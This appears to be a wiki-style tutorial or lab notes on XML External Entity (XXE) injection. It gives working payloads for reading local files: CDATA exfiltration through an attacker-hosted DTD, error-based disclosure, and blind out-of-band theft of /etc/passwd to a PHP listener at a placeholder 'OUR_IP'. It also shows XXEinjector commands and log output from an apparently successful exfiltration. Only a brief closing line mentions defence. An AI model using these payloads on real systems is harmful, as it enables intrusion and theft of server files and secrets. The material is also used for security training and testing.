XML External Entity (XXE) Injection vulnerabilities occur when XML data is taken from user-controlled input without proper sanitization or safe parsing. This allows attackers to leverage XML features to perform malicious actions.
Identify XML Inputs:
The first step is to locate web pages that accept XML input from users.
Look for Defined Entities:
Examine the response for any defined entities. If the entity value is reflected in the output (instead of showing the literal entity reference), the application may be vulnerable to XXE.
Testing with a Custom Entity:
Create a new entity and call it in the XML payload:
<!DOCTYPE email [
<!ENTITY company "Inlane Freight">
]>
<email>&company;</email>
If the response outputs âInlane Freightâ instead of &company;
, it confirms that XML entities are processed, and the application is vulnerable.
Note: In some tests, spaces may be replaced with
$IFS
to avoid breaking XML syntax. Avoid using characters like|
,>
, or{
that might disrupt the XML structure.
Potential Exploits:
Attackers can leverage an external DTD file to exfiltrate file contents using CDATA sections. For example:
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 8000
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA["> <!-- Prepend the beginning of the CDATA tag -->
<!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!-- Reference external file -->
<!ENTITY % end "]]>"> <!-- Append the end of the CDATA tag -->
<!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> <!-- Reference our external DTD -->
%xxe;
]>
When the external DTD is fetched and processed, the entity %joined;
will contain the content of submitDetails.php
.
Error-based XXE leverages the serverâs error messages to leak file contents. To test this:
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
%remote;
%error;
]>
Note: This method might have length limitations and may break with special characters, making it less reliable than the CDATA method.
When direct output isnât available (i.e., the XML entities or errors are not returned), an out-of-band (OOB) method can be used:
Base64 Encode the File Content Using PHP Filter:
Utilize a parameter entity to read and encode the file.
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">
PHP Listener to Capture the Exfiltrated Data:
Create a simple PHP script (index.php
):
<?php
if(isset($_GET['content'])){
error_log("\n\n" . base64_decode($_GET['content']));
}
?>
Run the PHP server:
php -S 0.0.0.0:8000
Craft the Final XML Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
%remote;
%oob;
]>
<root>&content;</root>
When processed, the target system sends a request to your server containing the base64-encoded content of /etc/passwd
, which your PHP script decodes and logs.
Automated tools can simplify blind XXE data exfiltration. One such tool is XXEinjector:
git clone https://github.com/enjoiz/XXEinjector.git
POST /example
Headers: blah
<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT
ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter
The exfiltrated data is base64 encoded and stored in the toolâs Logs folder. You can review it with:
cat Logs/10.129.201.94/etc/passwd.log
This demonstrates that the file /etc/passwd
was successfully exfiltrated from the target system.
This wiki page covers various XXE attack techniquesâfrom basic local file disclosure and advanced CDATA exfiltration to error-based and blind data exfiltrationâalong with methods for automating out-of-band attacks. Proper XML parsing, disabling external entity resolution, and applying robust input validation are critical to preventing these vulnerabilities. ````plaintext